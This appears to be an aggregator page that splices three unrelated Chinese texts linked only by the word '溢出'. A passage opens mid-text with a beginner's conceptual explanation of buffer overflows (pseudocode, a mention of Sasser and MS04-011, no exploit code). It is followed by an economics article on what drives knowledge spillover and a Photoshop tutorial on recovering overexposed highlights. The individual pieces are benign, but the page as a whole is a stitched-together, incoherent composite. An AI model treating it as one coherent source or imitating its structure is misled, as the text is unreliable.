行1 +------输入”长“

行2 | 输入”宽“---------------------+

行3 +------长的变量 |

行4 宽的变量---------------------+

行5 搜集到了足够的信息,执行s=l*h

事情就这样被解决了?不,经过上面的温习,我们初步了解了一些程序的知识.

现在进入缓冲区溢出这个概念.

还要提起变量,我们在本问第二自然段提过:

”当程序即将运行时,会检查该程序将会使用到的变量,

并且为该变量在内存中“划”出

(或者用“登记”比较合适)一段来,用于存贮该变量的数据.

而被分出的内存区域大小则和程序代码的变量长度一样.

例如,定义某变量为8个字符,则该被分配内存大小也为8.“

让我们看这一段:

”被分出的内存区域大小则和程序代码的变量长度一样.

例如,定义某变量为8个字符,则该被分配内存大小也为8.“

问题出现了,为什么要给变量定义一个长度呢?我是这样理解的,

因为它需要在内存中分配出空间给该变量提供数据存贮空间,

倘若,没有事先定义好该变量的数据长度(或者谨慎的说”最长度“),

则,我们的计算机到底要为它分配多少空间呢?

1K?1M?1G?呵呵,显然为其定义一个长度是有必要的!

何为缓冲区溢出?有何危害?

震荡波你应该熟悉,它就是利用了ms04-011漏洞,

是一个缓冲区溢出的利用.至于危害,

你可以查阅以前的帖子或者有幸体会吧?

下面的内容或许很笼统,但确实是我所理解的.

还是举个例子:

试图我们要编写一个如下的程序,

该程序运行的时候会自动读取同目录下的1.txt中的内容

,并且写入到变量A中.代码如下(注:”//“后为注释)

行1 变量A[10] //设置了一个变量A,长度10

行2 读取本程序同目录下的1.txt中的内容

行3 将读取的内容写入到变量A中

-=程序完=-

看样子是一个很符合逻辑的程序,但是问题恰好出现了:

如果该1.txt内容如下:

123456789

则,不会出现问题

倘若,1.txt内容如下:

123456789123456789123456789123456789123456789

123456789123456789123456789123456789123456789

123456789123456789123456789123456789123456789123456789

这样会如何呢?来分析一下,

这个时候程序会执行到第二行,

当执行到第三行的时候就会产生溢出了!问题出在程序的”行1“,

因为它定义的变量长度为10,而1.txt中的内容远远大于了10,换句话讲,该段内存被撑着了.

被撑着的内存会溢出,好比,一杯水,满了,还继续往里面倒,

必然会影响到桌子的卫生(我想这样的比喻更能诠释”溢出“二字)

知识溢出的影响因素分析 篇7

一、知识溢出的前提条件:技术差距

技术差距是主体间知识溢出存在的必要条件, 如果两个经济主体之间的知识水平 (不考虑知识结构) 是相同的, 就不会有溢出。

由于各个国家或地区的发展水平不一样, 技术上的差距可以使技术领先的国家具有技术上的比较优势, 但随着技术被落后者模仿, 这种比较优势就会消失。在这种以技术差距为基础的贸易产生与结束过程中, 落后者一旦模仿成功, 就得到了扩散的或溢出的知识。从这一点看, 技术落后者有机会从外部知识溢出中获益, 主体间技术与知识的差距越大, 潜在的溢出就越大。但从另一方面看, 如果经济主体之间的技术差距越大, 技术共享的机会越少, 因为落后者学习的基础较差, 学习能力会有限;相反, 技术差距越小, 技术共享的机会就会越大, 因为技术水平上的接近, 容易更快地吸收外部知识但潜在的溢出不会很大。当然, 如果不存在技术差距, 学习的范围就相当狭小。因此, 最大的知识溢出可能发生在主体间适度的技术差距上。

在对FDI溢出的研究中, Findly (1978) 发现, 技术差距越大, 本地企业可以学习和模仿的空间越大, 溢出效应也越大。[2]原因在于, 内外资企业的技术差距越大, 内资企业越具有追赶和学习的空间, 因而从FDI技术溢出中获益就越多。但Kokko等人 (1996) 认为, 当内外资技术差距小时, 溢出效应才是显著的。[3]因为内资企业在技术差距小的情况下才有能力进行学习和追赶, 而当技术差距太大时, 内资企业缺乏相应的学习能力, 无法吸收外资企业的先进技术。

因此, 开始时, 溢出水平随着技术差距的增加而增加, 而当差距增大到某一水平, 以至于主体无法在现有的经验与知识基础上对外部先进技术进行吸收时, 溢出效应反而下降。

二、知识溢出的基础因素:认知距离

技术差距是从量的角度和客体方面说明知识溢出的可能性, 而如果考虑知识的结构和主体对知识的理解水平的差异, 就需要从认知距离方面来分析知识溢出效应的大小。

认知距离可理解为主体的技术组合之间的距离, 它反映了知识外部来源的一个约束, 因为从主体间的交流来看, 不同的技术组合要求与参与者的能力匹配。根据Nooteboom (1999) [4]的观点, 知识溢出的有效性可分解为两个因素:理解能力与新知识。认知距离小, 理解能力就强, 但不能得到较多有效的新知识;相反, 认知距离大, 理解能力就有限, 但能得到较多有效的新知识。主体的认知相似, 他们对新知识的理解、解释与评估就会相似, 从而能了解彼此的行动与表达方式, 知道哪些知识是新的。所以, 如果存在一定程度的认知距离, 就使主体易于交流, 相反, 如果认知完全一样, 创新的潜力就会降到零, 但如果认知距离太大, 则会在交流上就产生困难。因此, 可分为三种情况:第一, 主体的技术组合完全重叠, 即技术相同, 这时, 主体间的知识得不到发展。第二, 主体的技术组合完全没有重叠, 即技术相异, 这时, 主体间的知识也得不到发展。第三, 主体的技术组合有一定程度的重叠, 即技术相似, 这时, 主体之间的互动有利于知识的发展。所以, 适宜的认知距离促进了学习的效率, 使主体之间的理解能力与新知识之间有一个最优结合。

三、知识溢出的关键保障:吸收能力

技术差距和认知距离为知识的溢出提供了条件和可能性, 但要真正地把溢出的知识变己用, 还取决于接受方的吸收能力。技术差距和认知距离并不能真正决定知识溢出的数量, 要把知识溢出从一种潜在效应转化为现实, 归根到底取决于落后者或接受者的吸收能力。吸收能力是指识别、消化与利用外部知识的能力。[5]它来自于经济主体长期的投资与知识积累过程, 具有两个基本特征:累积性及其对预期形成的效应。一方面, 如果经济主体已经在某一领域发展了一些吸收能力, 它就会在随后的时期更易于积累追加的知识, 以利用可用的重要外部知识。另一方面, 吸收能力影响预期形成, 使企业更准确地预测技术进步的性质与商业潜力, 这又推动了对吸收能力的投资兴趣。

吸收能力的高低主要取决于:人力资本、前期相关知识、研发投入和学习机制。人力资本是吸收能力的主要来源, 当主体的人力资本存量足够丰裕时, 才有能力对先进技术进行模仿, 才能充分吸收来自外部的知识溢出。前期积累的相关知识是吸收能力的基础, 前期积累知识的广度决定了经济主体评价外部知识范围的能力, 积累知识的深度影响自身吸收能力提高的速度。研发活动是吸收能力的保障, 通过研发投入, 经济主体可获得许多有关产品与技术相关的知识, 也推进人力资本的积累和知识存量的增加, 为吸收能力的后续累积与不断提高提供支持。由于新的知识不断出现, 吸收与利用新知识需要不断地学习, 而形成良好的学习机制对于吸收能力的提高相当重要。

四、知识溢出的空间约束:地理距离

在新古典经济思想中, 知识是瞬间溢出的, 空间不起作用。现代通讯、运输与信息技术的发展, 更使人相信“距离已经消亡”。但实际上, 现代技术只是使编码知识的传播速度加快, 传递成本大幅降低, 而对缄默知识的影响不大。因此, 总体上, 空间或地理距离在知识的扩散与溢出中, 不但在起作用, 而且非常重要。

地理距离是指经济主体之间的空间距离或自然距离, 具有相对与绝对两层意义。大量文献表明, 空间上集中的经济主体能从知识外部性或溢出中获益。距离缩短使主体间能更容易、更充分地进行面对面的交流信息和转移缄默性知识。相反, 距离越远, 知识溢出效应就越弱, 缄默知识的转移就变得更加困难。即使在编码知识的使用和传播上, 距离也具有重要影响, 因为对编码知识的解释和吸收需要缄默知识和空间邻近。

知识溢出具有地理局限性:邻近创新源的经济主体比位于其他地方的主体具有更好的创新绩效。原因在于:第一, 创新人员之间的邻近有许多好处, 如易于共同出现在同一场合, 有利于促进双方的联系;容易增加沟通的频率, 易于建立自发性的对话;便于面对面接触, 提高交流的效率、质量与深度;易于建立共同的语言、文化、规则与习惯等。第二, 创新活动中的大部分知识具有缄默性, 其传递的边际成本随距离的增加而增加, 并且其中大部分需要面对面接触才能传递, 当创新活动中的知识越具有缄默性时, 地理邻近就越重要。

五、知识溢出的主观约束:溢出方的控制意愿与能力

上述分析是在假定知识充分溢出的情况下进行的, 虽然知识的非竞争性与部分排他性决定了知识溢出不可避免, 对有些经济主体来说, 如果任由知识溢出, 就会影响它在市场中的竞争地位、利润获取与研发投资。尽管经济主体并不关注知识溢出本身, 但它会感受到自身的知识溢出对它所造成的影响, 如市场份额下降、利润减少、竞争力受到挑战等, 为了防止这种情况的发生, 有些经济主体会采取一些措施有意识地降低知识溢出的效应。

能否阻止知识溢出以及其阻止程度, 取决于主体的控制能力。最常见的措施是知识产权保护, 但知识的非竞争性常常使知识产权的作用受到很大影响。还有一些办法是进行技术锁定, 控制核心技术, 即在技术设计、生产工艺、产品包装、营销网络等方面使别人难以模仿。此外, 利用优厚待遇留住技术人员、尤其是重要技术人员也是控制知识溢出的一个方法。

当然, 不同的主体对知识溢出的控制意愿与能力是不同的。大学、研究机构与政府资助的组织控制知识溢出的意愿较弱, 而企业控制知识溢出的意愿相当强。但企业的产品不能不卖, 竞争对手总是可以通过逆向工程, 解剖产品, 获得产品中所嵌入的新技术和新知识, 因而, 企业不可能完全控制知识溢出。

六、结语

知识溢出的大小主要取决于溢出方的知识控制能力与接受方的吸收能力, 以及两者之间的距离, 这种距离包括地理距离、认知距离和技术差距。根据上述分析, 可得出如下结论:技术差距和认知距离都与知识溢出效应呈倒U形关系, 吸收能力则与知识溢出效应呈正向关系, 而地理距离与知识溢出效应呈反向关系, 溢出方的控制意愿和能力也与知识溢出效应呈一种反向关系。

因此, 要获取来自外部的知识溢出, 落后者首先要提高自身的吸收能力, 这是关键因素, 其次与领先者的技术差距、认知距离不能太大, 否则会缺乏共同的技术语言基础, 最后要尽量与领先者在地理上接近, 这样可以尽快地了解与得到前沿信息。

摘要:知识溢出对于创新与经济增长非常重要。影响知识溢出的因素主要有接受方的吸收能力、溢出方的控制能力以及双方之间的技术差距、认知距离和地理距离。其中, 技术差距、认知距离与知识溢出效应呈倒U形关系, 吸收能力与知识溢出效应呈正向关系, 地理距离、控制能力与知识溢出效应呈反向关系。

关键词:知识溢出,技术差距,认知距离,吸收能力,地理距离

参考文献

[1].Caniёls, M.C.J..Knowledge spillovers and economic growth[M].Edward Elgar, 2000

[2].Findlay, R..Relative backwardness, direct foreign investment and the transfer of technology:A simple dynamic model[J].Quarterly Journal of Economics, 1978, (92) :1~16

[3].Kokko, A., R.Tanzini, and M.Zejan.Local Technological Capability and Productivity Spillovers from FDI in the Uruguayan Manufacturing Sector[J].Journal of Development Studies, 1996, 32:602~611

[4].Nooteboom, B..Innovation, Learning and Industrial Organisa-tion[J].Cambridge Journal of Economics, 1999, (23) :127~150

还原溢出的高光细节 篇8

人眼对于细节和影调的分辨适应能力非常强,即便在烈日当头的情况下,也能把背阴处的景物看得一清二楚。尽管相机复杂的测光系统能帮助它们在光比较大的情况下,记录尽可能丰富的影调细节,但对于高光和阴影部分的还原依旧心有余而力不足。

就拿本文的例图来说,相机的测光系统尽量在高光影调与暗部细节之间取得平衡,但这样的妥协最后只能是两头不讨好。我们既没有办法从阴影中分辨墙壁的纹理细节,而过曝的高光部分也是一片苍白。这些过曝的高光部分在最终打印输出的时候,会变成没有半点细节的丑陋色块,最大的受害者就是位于阳光下小船上的各色油漆。

还好Photoshop给我们提供了丰富的影调调整工具,帮助我们平衡画面的明暗影调,同时缓解高光部分的过曝问题。我们将告诉大家如何使用直方图面板与色阶命令确认画面的高光过曝情况,然后使用威力强大的“阴影/高光命令”还原高光细节。但是这个命令同时也可能在景物的高反差边缘形成难看的亮边,因此我们还会告诉大家一个小技巧:使用画笔工具缓解高反差边缘这一丑陋而明显的调整痕迹。

使用Photoshop的基本工具对照片进行处理能提升我们对于摄影作品的思考和理解,是每一位摄影师都应该掌握的基本功,但这样的操作一般耗时较大。所以在教程的最后,我们还会告诉大家如何使用Camera Raw打开JPEG文件,使用其中的修剪警告功能与影调调整选项轻松恢复画面的过曝区域。

打开范例文件

启动Photoshop,执行“文件>打开”命令,从弹出的文件浏览器中选择一张光比较大的照片,其中的高光稍有过曝,单击打开按钮进入Photoshop主界面。执行“窗口>图层”命令打开图层面板,它是Photoshop操作的核心之一。

查看直方图

执行“窗口>直方图”命令打开直方图面板,它是帮助我们解读画面影调分布的好工具。从彩色直方图中不难发现画面高光部分拥有丰富的蓝色信息,其中一部分已经过曝,在画面中显示为不包含任何细节内容的色块。

查看溢出警告

为了更加清晰地分辨画面中溢出的部分,我们可以使用色阶命令切换到溢出警告模式。按住Alt键拖动直方图下方右侧的白色“高光三角滑块”,画面的溢出部分将以色块形式显示,没有溢出的部分显示为黑色。

复制图层

在对照片进行编辑处理之前,我们有必要复制一个背景图层。这样做既可以保留画面原始信息不被破坏,又能方便我们进行调整前后的比较。保持图层面板中背景图层为选中状态,使用Ctrl+J复制图层,得到名为“图层 1”的新图层。

新建调整图层

执行“图层>新建调整图层>色阶”命令,在弹出对话框中单击确定按钮。属性面板中的黑白直方图反映画面的影调信息分布,左侧对应画面暗部,右侧对应画面亮部。和彩色直方圖一样,我们能明显从中看到画面的高光溢出问题。

色阶的局限

“高光输入滑块”只能向左移动,让画面变得更亮,溢出部分进一步扩张。色阶命令提供的溢出视图能帮助我们判断问题,但无法帮助我们解决它,幸运的是Photoshop还提供了其它工具能解决这个问题。

阴影/高光

在图层面板中选择“图层 1”,执行“图像>调整>阴影/高光”命令。该命令默认针对逆光环境下拍摄的暗部曝光不足的照片使用,因此打开时阴影数量设置为35%。但我们目前需要的是用它来还原过曝的高光,因此先将阴影数量手动降至0%。

还原高光

将“高光数量”滑块设置为65%,这样做能还原过曝的高光部分的更多细节,同时还能还原局部的纹理与色彩——例如前景中坐着的姑娘的腿部。但同时我们还会发现在房顶、路灯等高反差位置出现了不需要的亮边。

前后对比

适当降低“高光数量”的设置能在还原高光细节的同时尽可能减少亮边对于画面的影响,我们最终决定将其设置为35%。勾选“预览”选款可以对比观察调整前后的效果,对效果感到满意后单击确定按钮应用调整设置。

检查溢出

从直方图面板中可以发现右侧的蓝色高光部分开始左移,表明对应区域的过曝问题已经得到了缓解。另外我们也可以双击“色阶调整图层”缩略图,在弹出的属性面板中按住Alt键拖动白色高光光坏,溢出警告区域明显缩小。

改善反差

继续在属性面板中将灰色三角滑块向左拖动至1.51提亮中间调部分亮度,使欠曝的建筑物细节得到更好的表现。适度增加暗部密度能让画面影调表现更加丰满,因此将左侧黑色输入滑块的值提高至4。

暖化影调

画面整体感觉略有些偏冷。执行“图层>新建调整图层>照片滤镜”,在属性面板中将滤镜下拉菜单设置为“暖化滤镜”(LBA)暖化画面影调。将“密度”降低至20%,使滤镜的调整效果变得更加自然。

增强颜色

执行“图层>新建调整图层>色相/饱和度”命令,通过提高色彩饱和度增强画面的冲击力。在属性面板中,将全图的“饱和度”滑块提高至+16。过高的饱和度设置容易造成画面色彩溢出,所以在调整该滑块时应尽量克制。

选择画笔

尽管我们一再注意,但路灯周围还是有明显的亮边,我们将用一个新的图层解决这个问题。执行“图层>新建>图层”命令创建新的空白图层,选择画笔工具,在上方选项栏的“画笔预设”选择器中挑选一款大小在200像素左右的柔边画笔。

隐藏亮边

将画笔置于亮边旁的天空部分后,按住Alt键切换至拾色器模式,在天空部分单击选取天空颜色。使用画笔将路灯整个涂抹遮盖,然后将图层混合模式设置为“变暗”,不透明度降低至25%遮盖路灯周围的亮边。

保存文件

完成上述操作后,執行“文件>存储为”命令保存文件。Photoshop格式可以保留我们在编辑过程中使用的所有图层与调整图层,另外我们也可以将文件更名存储为JPEG格式以便上传到网站或作为邮件发送与朋友分享。

JPEG与ACR

如果想将JPEG格式在ACR中打开,可以执行“文件>打开为”命令,在弹出的文件浏览器窗口中选择JPEG文件,然后将下方文件格式设置为Camera Raw。

影调调整

上一篇:“学习有关文件、增强学习教育自觉性”讨论发言稿下一篇:绿光芒读后感

本站热搜